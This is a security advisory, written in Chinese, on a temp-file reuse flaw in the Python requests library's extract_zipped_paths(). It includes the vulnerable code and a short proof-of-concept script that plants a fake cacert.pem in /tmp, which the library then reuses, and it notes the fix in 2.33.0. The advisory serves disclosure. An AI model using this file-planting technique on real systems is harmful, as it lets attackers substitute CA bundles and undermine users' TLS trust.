在 requests 库(Python)的公共实用函数 requests.utils.extract_zipped_paths() 中发现了一个漏洞。该函数在尝试将文件提取到系统临时目录(/tmp)时使用了可预测的、非唯一的文件名,并且未能验证已存在文件的完整性或所有权。
虽然 requests 与 certifi 结合的默认行为通过 importlib.resources 得到了缓解,但对于依赖该实用程序处理压缩资源的下游应用程序或自定义实现而言,这仍然是一个安全隐患。
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N函数 requests.utils.extract_zipped_paths() 旨在从 zip 归档中提取成员(通常用于 zipapp 环境中的 CA 证书包)。存在漏洞的逻辑遵循以下步骤:
basename 拼接(例如 /tmp/cacert.pem)。if not os.path.exists(extracted_path) 来决定是否提取文件。在 requests/utils.py 中,逻辑实现如下:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
具有低权限的本地攻击者可以通过在 /tmp 中可预测的路径上预先创建恶意文件(例如伪造的 CA 证书包)来利用此漏洞。当受害者(需要用户交互)运行调用此实用程序的应用程序时:
以下脚本通过展示该实用程序如何重用预先存在的“伪造”文件而非归档中的合法文件来演示该漏洞。
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
该问题已在 2.33.0 版本中解决。修复方案涉及过渡到 importlib.resources 以更安全地处理压缩资源,确保提取发生在随机的、不可预测的目录中,并避免重用共享的全局可写目录中的现有文件。